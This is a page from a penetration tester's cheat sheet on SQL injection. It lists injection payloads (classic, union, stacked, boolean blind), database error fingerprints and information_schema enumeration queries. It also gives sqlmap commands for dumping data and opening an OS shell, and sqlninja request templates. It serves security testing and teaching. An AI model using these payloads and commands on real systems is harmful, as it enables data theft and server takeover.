> For the complete documentation index, see [llms.txt](https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/exploitation/web/sql-injection.md).

# SQL injection (SQLi)

> SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker).
>
> \-- [*Wikipedia*](https://en.wikipedia.org/wiki/SQL_injection)

## General

* [SQL Injection | pentestmonkey](http://pentestmonkey.net/category/cheat-sheet/sql-injection)
* [GitHub - swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and Pentest/CTF](https://github.com/swisskyrepo/PayloadsAllTheThings)
* [Wordlist | fuzzdb](https://github.com/fuzzdb-project/fuzzdb/blob/master/attack/sql-injection/detect/xplatform.txt)
* [PortSwigger - SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet)

## OWASP: WSTG

See [OWASP: WSTG](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection)

### Recon

* Create a list of input fields

### Enum (provoke an error)

* First test `'` or `;`
* Comments `--` `/* */` `#`
* Enter different type, e.g. string instead of int
* Monitor responses (Error may be hidden in JS or HTML)
* Generic Error (e.g. just 500) -> blind SQL injection

### Injections

#### Classic

* Most basic `1' or '1' = '1`
* Evade braces and further conditions `1' or '1' = '1'))/*`
* App logic may expect exactly one result `1' or '1' = '1')) LIMIT 1/*`

#### Select

* `http://www.example.com/product.php?id=10 AND 1=2` Error or blank page -> vulnerable

#### Stacked Queries

* `http://www.example.com/product.php?id=10; INSERT INTO users (…)`

### Fingerprinting

MySql:

```
You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1
```

Oracle:

```
ORA-00933: SQL command not properly ended
```

MS SQL Server:

```
Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string

SELECT id, name FROM users WHERE id=1 UNION SELECT 1, @@version limit 1, 1
```

PostgreSQL:

```
Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.
```

### `information_schema`

The `information_schema` table contains `tables` and `columns` from the database. Their respective names are `table_name` and `column_name` inside each table.

Retrieve all the table names:

```sql
select group_concat(table_name) from information_schema.tables
```

Retrieve all the colum names inside from a table.

```sql
select group_concat(column_name) from information_schema.columns where table_name = '<tablename>'
```

### Exploitation

#### Union

```
1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable
```

* Determine number of columns Increase order by number until an error occurs.

```
http://www.example.com/product.php?id=10 ORDER BY 10--
```

* Determine data types of columns Use null as placeholder for yet undetermined columns

```
http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--
```

* Ensure more than one result is shown

```
http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--
```

#### Boolean

Useful for blind SQL injections

* Iterate one char at a time

```
1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
```

#### Error based

TODO

#### Out of band

TODO

#### Time delay

TODO

#### Stored procedure

TODO

### Automatic / Tools

* <https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/sql-injection>
* <https://github.com/dtrip/mysqloit>

#### sqlmap

> sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.\
> [sqlmap: automatic SQL injection and database takeover tool](http://sqlmap.org)

**Url formats**

GET `<host>/index.php?id=1337`\
POST `<host>/index.php --data="id=1337"`

**Commands**

Grab banner?

```bash
sqlmap -u <url> -b
```

Use request (e.g. from burp)

```bash
sqlmap -r <file-with-request>
```

Crawl / enumerate

```bash
sqlmap -u <url> --crawl=1
```

Dump / extract data

```bash
sqlmap -u <url> --current-user
```

```bash
sqlmap -u http://<host>/comment.php?id=738 --dbms=mysql --dump -- threads=5
```

OS shell / get a remote shell

```bash
sqlmap -u <url> --os-shell
sqlmap -u http://<host>/comment.php?id=738 --dbms=mysql --os-shell
```

#### sqlninja

Test sqlninja

```bash
sqlninja -mt -f <config-file>
```

Set up listener

```bash
tcpdump -nnvXSs 0 -c2 icmp
```

Execute sqlninja

```bash
sqlninja -mc -f <config-file>
```

**config files**

[sqlninja/sqlninja.conf at master · xxgrunge/sqlninja · GitHub](https://github.com/xxgrunge/sqlninja/blob/master/sqlninja.conf)\
`Authorization: Basic <hash>`

**GET**

```
--httprequest_start-- 
GET <host>/index.php?id=1337;__SQL2INJECT__ HTTP/1.0
Host: <host>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
Accept-Language: en-us,en;q=0.7,it;q=0.3
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Content-Type: application/x-www-form-urlencoded
Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx
Connection: close
--httprequest_end--
```

**POST**

```
--httprequest_start-- 
POST <host>/index.php HTTP/1.0
Host: <host>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
Accept-Language: en-us,en;q=0.7,it;q=0.3
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Content-Type: application/x-www-form-urlencoded
Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx
Connection: close
id=1337';__SQL2INJECT__
--httprequest_end--
```

### Evasion

* Whitespaces
* Null bytes (%00)
* Inline comments
* URL encoding
* Char encoding
* String concatenation
* Hex encoding
* Declare variables
* Alternative expression of `'or 1=1'`
